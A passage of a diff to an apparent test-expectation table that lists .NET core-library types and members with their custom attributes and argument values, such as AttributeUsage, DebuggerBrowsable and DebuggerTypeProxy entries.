| Inherited | False | +| System.Reflection.AssemblyKeyFileAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyKeyNameAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyMetadataAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Reflection.AssemblyMetadataAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyProductAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblySignatureKeyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Reflection.AssemblySignatureKeyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyTitleAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyTrademarkAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyVersionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.ObfuscateAssemblyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Reflection.ObfuscateAssemblyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Resources.NeutralResourcesLanguageAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Resources.SatelliteContractVersionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.AsyncStateMachineAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.AsyncStateMachineAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.CallerFilePathAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.CallerLineNumberAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.CallerMemberNameAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.CompilerGeneratedAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Runtime.CompilerServices.CustomConstantAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.DateTimeConstantAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.DecimalConstantAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.DependencyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.IndexerNameAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.IntrinsicAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.IsReadOnlyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.IteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.IteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.MethodImplAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.NullableContextAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.NullableContextAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.StateMachineAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.StateMachineAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.StringFreezingAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.TypeDependencyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Runtime.CompilerServices.TypeDependencyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.AllowReversePInvokeCallsAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.InteropServices.AllowReversePInvokeCallsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.BestFitMappingAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ClassInterfaceAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.CoClassAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ComEventInterfaceAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ComImportAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Runtime.InteropServices.ComVisibleAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.DefaultCharSetAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.InteropServices.DispIdAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.DllImportAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.FieldOffsetAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.GuidAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.InAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.InterfaceTypeAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.LCIDConversionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.MarshalAsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.OptionalAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.OutAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.PreserveSigAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.ProgIdAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.StructLayoutAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Serialization.OnDeserializedAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Serialization.OnDeserializingAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Serialization.OnSerializedAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Serialization.OnSerializingAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Serialization.OptionalFieldAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.AllowPartiallyTrustedCallersAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.AllowPartiallyTrustedCallersAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.SecurityCriticalAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.SecurityCriticalAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.SecurityRulesAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.SecuritySafeCriticalAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.SecuritySafeCriticalAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.SecurityTransparentAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.SecurityTransparentAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.SecurityTreatAsSafeAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Security.SecurityTreatAsSafeAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.SuppressUnmanagedCodeSecurityAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Security.SuppressUnmanagedCodeSecurityAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Security.UnverifiableCodeAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Security.UnverifiableCodeAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.SerializableAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Text.Encoding._isReadOnly | [OptionalFieldAttribute(...)] | VersionAdded | 2 | +| System.ThreadStaticAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | Guid | 2e5dba47-a3d2-4d16-8ee0-6671ffdcd7b5 | | System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | LocalizationResources | System.Private.CoreLib.Resources.Strings | | System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | Name | System.Threading.Tasks.TplEventSource | @@ -975,17 +918,29 @@ attrArgPositional | !0 System.Collections.Generic.IAsyncEnumerator`1.Current | [NullableAttribute(...)] | 0 | 1 | | !0 System.Collections.Generic.IEnumerator`1.Current | [NullableAttribute(...)] | 0 | 1 | | !0 System.Collections.Generic.List`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Lazy`1.Value | [DebuggerBrowsableAttribute(...)] | 0 | 0 | | !0 System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Threading.Tasks.Task`1.Result | [DebuggerBrowsableAttribute(...)] | 0 | 0 | +| !0 System.Threading.Tasks.ValueTask`1.Result | [DebuggerBrowsableAttribute(...)] | 0 | 0 | +| !0 System.Threading.ThreadLocal`1.Value | [DebuggerBrowsableAttribute(...)] | 0 | 0 | | !0 System.Tuple`1.Item1 | [NullableAttribute(...)] | 0 | 1 | | !0 System.Tuple`2.Item1 | [NullableAttribute(...)] | 0 | 1 | | !0[] System.ArraySegment`1.Array | [NullableAttribute(...)] | 0 | [2,1] | +| !0[] System.Collections.Concurrent.IProducerConsumerCollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | +| !0[] System.Collections.Generic.DictionaryKeyCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | +| !0[] System.Collections.Generic.ICollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | +| !0[] System.MemoryDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | +| !0[] System.SpanDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | | !1 System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | | !1 System.Tuple`2.Item2 | [NullableAttribute(...)] | 0 | 1 | +| !1[] System.Collections.Generic.DictionaryValueCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | +| <>f__AnonymousType0`1.<message>i__Field | [DebuggerBrowsableAttribute(...)] | 0 | 0 | | Internal.Runtime.CompilerServices.Unsafe | [CLSCompliantAttribute(...)] | 0 | False | | Internal.Runtime.CompilerServices.Unsafe | [NullableAttribute(...)] | 0 | 0 | | Internal.Runtime.CompilerServices.Unsafe | [NullableContextAttribute(...)] | 0 | 1 | | Internal.Threading.Tasks.AsyncCausalitySupport | [NullableAttribute(...)] | 0 | 0 | | Internal.Threading.Tasks.AsyncCausalitySupport | [NullableContextAttribute(...)] | 0 | 1 | +| Interop.Sys.MountPointFound | [UnmanagedFunctionPointerAttribute(...)] | 0 | 2 | | System.AccessViolationException | [NullableAttribute(...)] | 0 | 0 | | System.AccessViolationException | [NullableContextAttribute(...)] | 0 | 2 | | System.AccessViolationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -1061,9 +1016,11 @@ attrArgPositional | System.ArrayTypeMismatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.AssemblyLoadEventArgs | [NullableAttribute(...)] | 0 | 0 | | System.AssemblyLoadEventArgs | [NullableContextAttribute(...)] | 0 | 1 | +| System.Attribute | [AttributeUsageAttribute(...)] | 0 | 32767 | | System.Attribute | [NullableAttribute(...)] | 0 | 0 | | System.Attribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Attribute | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.AttributeUsageAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.BadImageFormatException | [NullableAttribute(...)] | 0 | 0 | | System.BadImageFormatException | [NullableContextAttribute(...)] | 0 | 2 | | System.BadImageFormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -1076,10 +1033,12 @@ attrArgPositional | System.Buffers.ArrayPool`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.ByReference`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.ByReference`1 | [ObsoleteAttribute(...)] | 1 | True | +| System.CLSCompliantAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | | System.CannotUnloadAppDomainException | [NullableAttribute(...)] | 0 | 0 | | System.CannotUnloadAppDomainException | [NullableContextAttribute(...)] | 0 | 2 | | System.CannotUnloadAppDomainException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.ArrayList | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ArrayList | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.ArrayList.ArrayListDebugView | | System.Collections.ArrayList | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.ArrayList | [NullableAttribute(...)] | 0 | 0 | | System.Collections.ArrayList | [NullableContextAttribute(...)] | 0 | 1 | @@ -1098,6 +1057,7 @@ attrArgPositional | System.Collections.Concurrent.ConcurrentQueueSegment`1 | [DebuggerDisplayAttribute(...)] | 0 | Capacity = {Capacity} | | System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot | [DebuggerDisplayAttribute(...)] | 0 | Item = {Item}, SequenceNumber = {SequenceNumber} | | System.Collections.Concurrent.ConcurrentQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Concurrent.ConcurrentQueue`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Concurrent.IProducerConsumerCollectionDebugView`1 | | System.Collections.Concurrent.ConcurrentQueue`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Concurrent.ConcurrentQueue`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Concurrent.IProducerConsumerCollection`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -1116,14 +1076,17 @@ attrArgPositional | System.Collections.Generic.Dictionary<!0,!1>.KeyCollection System.Collections.Generic.Dictionary`2.Keys | [NullableAttribute(...)] | 0 | [1,0,0] | | System.Collections.Generic.Dictionary<!0,!1>.ValueCollection System.Collections.Generic.Dictionary`2.Values | [NullableAttribute(...)] | 0 | [1,0,0] | | System.Collections.Generic.Dictionary`2 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.IDictionaryDebugView`2 | | System.Collections.Generic.Dictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.Dictionary`2 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.Dictionary`2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.Dictionary`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.Dictionary`2.Enumerator | [NullableContextAttribute(...)] | 0 | 0 | | System.Collections.Generic.Dictionary`2.KeyCollection | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2.KeyCollection | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.DictionaryKeyCollectionDebugView`2 | | System.Collections.Generic.Dictionary`2.KeyCollection | [NullableContextAttribute(...)] | 0 | 0 | | System.Collections.Generic.Dictionary`2.ValueCollection | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2.ValueCollection | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.DictionaryValueCollectionDebugView`2 | | System.Collections.Generic.Dictionary`2.ValueCollection | [NullableContextAttribute(...)] | 0 | 0 | | System.Collections.Generic.EnumEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.EqualityComparer`1 | [NullableAttribute(...)] | 0 | 0 | @@ -1155,11 +1118,13 @@ attrArgPositional | System.Collections.Generic.KeyNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | | System.Collections.Generic.KeyNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.KeyValuePair<!0,!1> System.Collections.Generic.Dictionary`2.Enumerator.Current | [NullableAttribute(...)] | 0 | [0,1,1] | +| System.Collections.Generic.KeyValuePair<!0,!1>[] System.Collections.Generic.IDictionaryDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | | System.Collections.Generic.KeyValuePair`2 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.KeyValuePair`2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.KeyValuePair`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.List<!0> System.Threading.ThreadLocal`1.ValuesForDebugDisplay | [NullableAttribute(...)] | 0 | [2,1] | | System.Collections.Generic.List`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.List`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.ICollectionDebugView`1 | | System.Collections.Generic.List`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.List`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.List`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -1179,6 +1144,7 @@ attrArgPositional | System.Collections.Generic.ValueListBuilder`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.Collections.Generic.ValueListBuilder`1 | [ObsoleteAttribute(...)] | 1 | True | | System.Collections.Hashtable | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Hashtable | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Hashtable.HashtableDebugView | | System.Collections.Hashtable | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Hashtable | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Hashtable | [NullableContextAttribute(...)] | 0 | 1 | @@ -1208,23 +1174,30 @@ attrArgPositional | System.Collections.IStructuralComparable | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.IStructuralEquatable | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.KeyValuePairs | [DebuggerDisplayAttribute(...)] | 0 | {_value} | +| System.Collections.KeyValuePairs._key | [DebuggerBrowsableAttribute(...)] | 0 | 0 | +| System.Collections.KeyValuePairs._value | [DebuggerBrowsableAttribute(...)] | 0 | 0 | +| System.Collections.KeyValuePairs[] System.Collections.Hashtable.HashtableDebugView.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | | System.Collections.ListDictionaryInternal | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.ListDictionaryInternal | [NullableAttribute(...)] | 0 | 0 | | System.Collections.ListDictionaryInternal | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.ListDictionaryInternal | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.ObjectModel.Collection`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ObjectModel.Collection`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.ICollectionDebugView`1 | | System.Collections.ObjectModel.Collection`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.ObjectModel.Collection`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.ObjectModel.Collection`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.ObjectModel.Collection`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.ObjectModel.ReadOnlyCollection<System.String> System.Diagnostics.Tracing.EventWrittenEventArgs.PayloadNames | [NullableAttribute(...)] | 0 | [2,1] | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Collections.Generic.ICollectionDebugView`1 | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ComponentModel.DefaultValueAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | | System.ComponentModel.DefaultValueAttribute | [NullableAttribute(...)] | 0 | 0 | | System.ComponentModel.DefaultValueAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.ComponentModel.EditorBrowsableAttribute | [AttributeUsageAttribute(...)] | 0 | 6140 | | System.Convert | [NullableAttribute(...)] | 0 | 0 | | System.Convert | [NullableContextAttribute(...)] | 0 | 2 | | System.Convert.DBNull | [NullableAttribute(...)] | 0 | 1 | @@ -1246,25 +1219,41 @@ attrArgPositional | System.DateTimeOffset | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.DateTimeResult | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.DateTimeResult | [ObsoleteAttribute(...)] | 1 | True | +| System.Delegate | [ClassInterfaceAttribute(...)] | 0 | 0 | | System.Delegate | [ComVisibleAttribute(...)] | 0 | True | | System.Delegate | [NullableAttribute(...)] | 0 | 0 | | System.Delegate | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.CodeAnalysis.AllowNullAttribute | [AttributeUsageAttribute(...)] | 0 | 2432 | +| System.Diagnostics.CodeAnalysis.DisallowNullAttribute | [AttributeUsageAttribute(...)] | 0 | 2432 | +| System.Diagnostics.CodeAnalysis.DoesNotReturnAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Diagnostics.CodeAnalysis.MaybeNullAttribute | [AttributeUsageAttribute(...)] | 0 | 10624 | +| System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Diagnostics.CodeAnalysis.NotNullAttribute | [AttributeUsageAttribute(...)] | 0 | 10624 | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [AttributeUsageAttribute(...)] | 0 | 10368 | | System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.CodeAnalysis.NotNullWhenAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [ConditionalAttribute(...)] | 0 | CODE_ANALYSIS | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.ConditionalAttribute | [AttributeUsageAttribute(...)] | 0 | 68 | | System.Diagnostics.ConditionalAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.ConditionalAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Contracts.Contract | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.Contract | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Contracts.Contract.ContractFailed | [NullableAttribute(...)] | 0 | [2,1] | +| System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractClassAttribute | 